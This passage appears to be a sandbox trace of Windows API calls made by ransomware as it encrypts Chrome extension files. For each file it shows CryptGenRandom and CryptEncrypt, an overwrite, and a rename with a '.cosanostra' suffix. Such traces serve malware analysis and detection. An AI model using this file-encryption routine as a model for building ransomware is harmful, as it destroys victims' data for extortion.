lpNumberOfBytesWritten=0x2abf6b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf6f4*, lpNumberOfBytesWritten=0x2abf6b4*=0x4, lpOverlapped=0x0) returned 1 [0086.419] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf6b4*=0x30, lpOverlapped=0x0) returned 1 [0086.420] CloseHandle (hObject=0x18c) returned 1 [0086.420] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0086.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6e8 | out: pbBuffer=0x2abf6e8) returned 1 [0086.628] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6e0*=0x30) returned 1 [0086.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.708] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 162 [0086.708] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0086.712] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.712] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf6a4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf6a4*=0x2800, lpOverlapped=0x0) returned 1 [0086.713] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.713] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf6a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf6e4*, lpNumberOfBytesWritten=0x2abf6a4*=0x4, lpOverlapped=0x0) returned 1 [0086.713] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf6a4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf6a4*=0x30, lpOverlapped=0x0) returned 1 [0086.713] CloseHandle (hObject=0x190) returned 1 [0086.713] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0086.715] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6e0 | out: pbBuffer=0x2abf6e0) returned 1 [0086.715] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6d8*=0x30) returned 1 [0086.715] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.716] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 162 [0086.716] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.743] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd97, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.743] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x269, lpNumberOfBytesWritten=0x2abf69c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf69c*=0x269, lpOverlapped=0x0) returned 1 [0086.743] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.743] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf69c, lpOverlapped=0x0 | out: lpBuffer=0x2abf6dc*, lpNumberOfBytesWritten=0x2abf69c*=0x4, lpOverlapped=0x0) returned 1 [0086.743] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf69c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf69c*=0x30, lpOverlapped=0x0) returned 1 [0086.743] CloseHandle (hObject=0x190) returned 1 [0086.744] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0086.768] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6d8 | out: pbBuffer=0x2abf6d8) returned 1 [0086.768] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6d0*=0x30) returned 1 [0086.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.768] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 159 [0086.768] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffc53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.025] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x3ad, lpNumberOfBytesWritten=0x2abf694, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf694*=0x3ad, lpOverlapped=0x0) returned 1 [0087.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.025] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf694, lpOverlapped=0x0 | out: lpBuffer=0x2abf6d4*, lpNumberOfBytesWritten=0x2abf694*=0x4, lpOverlapped=0x0) returned 1 [0087.025] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf694, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf694*=0x30, lpOverlapped=0x0) returned 1 [0087.025] CloseHandle (hObject=0x190) returned 1 [0087.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0087.027] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6d0 | out: pbBuffer=0x2abf6d0) returned 1 [0087.028] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6c8*=0x30) returned 1 [0087.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.028] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json") returned 159 [0087.028] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.066] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffceb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.066] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x315, lpNumberOfBytesWritten=0x2abf68c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf68c*=0x315, lpOverlapped=0x0) returned 1 [0087.066] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.066] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf68c, lpOverlapped=0x0 | out: lpBuffer=0x2abf6cc*, lpNumberOfBytesWritten=0x2abf68c*=0x4, lpOverlapped=0x0) returned 1 [0087.066] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf68c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf68c*=0x30, lpOverlapped=0x0) returned 1 [0087.066] CloseHandle (hObject=0x190) returned 1 [0087.067] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.cosanostra") returned 170 [0087.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0087.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6c0 | out: pbBuffer=0x2abf6c0) returned 1 [0087.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6b8*=0x30) returned 1 [0087.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.074] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 162 [0087.074] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0087.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd97a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.084] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2686, lpNumberOfBytesWritten=0x2abf67c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf67c*=0x2686, lpOverlapped=0x0) returned 1 [0087.084] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.084] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf67c, lpOverlapped=0x0 | out: lpBuffer=0x2abf6bc*, lpNumberOfBytesWritten=0x2abf67c*=0x4, lpOverlapped=0x0) returned 1 [0087.084] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf67c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf67c*=0x30, lpOverlapped=0x0) returned 1 [0087.084] CloseHandle (hObject=0x190) returned 1 [0087.084] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.cosanostra") returned 173 [0087.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0087.086] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6b8 | out: pbBuffer=0x2abf6b8) returned 1 [0087.086] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6b0*=0x30) returned 1 [0087.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.092] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 155 [0087.092] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.093] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2abf674, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf674*=0xe8, lpOverlapped=0x0) returned 1 [0087.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.093] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf674, lpOverlapped=0x0 | out: lpBuffer=0x2abf6b4*, lpNumberOfBytesWritten=0x2abf674*=0x4, lpOverlapped=0x0) returned 1 [0087.093] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf674, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf674*=0x30, lpOverlapped=0x0) returned 1 [0087.093] CloseHandle (hObject=0x190) returned 1 [0087.093] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.cosanostra") returned 166 [0087.094] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0087.095] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6b0 | out: pbBuffer=0x2abf6b0) returned 1 [0087.095] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6a8*=0x30) returned 1 [0087.096] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.096] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 155 [0087.096] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.097] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2abf66c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf66c*=0xea, lpOverlapped=0x0) returned 1 [0087.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.097] WriteFile (in: hFile=0x190, lpBuffer=0x2abf6ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf66c, lpOverlapped=0x0 | out: lpBuffer=0x2abf6ac*, lpNumberOfBytesWritten=0x2abf66c*=0x4, lpOverlapped=0x0) returned 1 [0087.098] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf66c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf66c*=0x30, lpOverlapped=0x0) returned 1 [0087.098] CloseHandle (hObject=0x190) returned 1 [0087.098] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.cosanostra") returned 166 [0087.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0087.099] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf6a8 | out: pbBuffer=0x2abf6a8) returned 1 [0087.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf6a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf6a0*=0x30) returned 1 [0087.100] CreateFileW 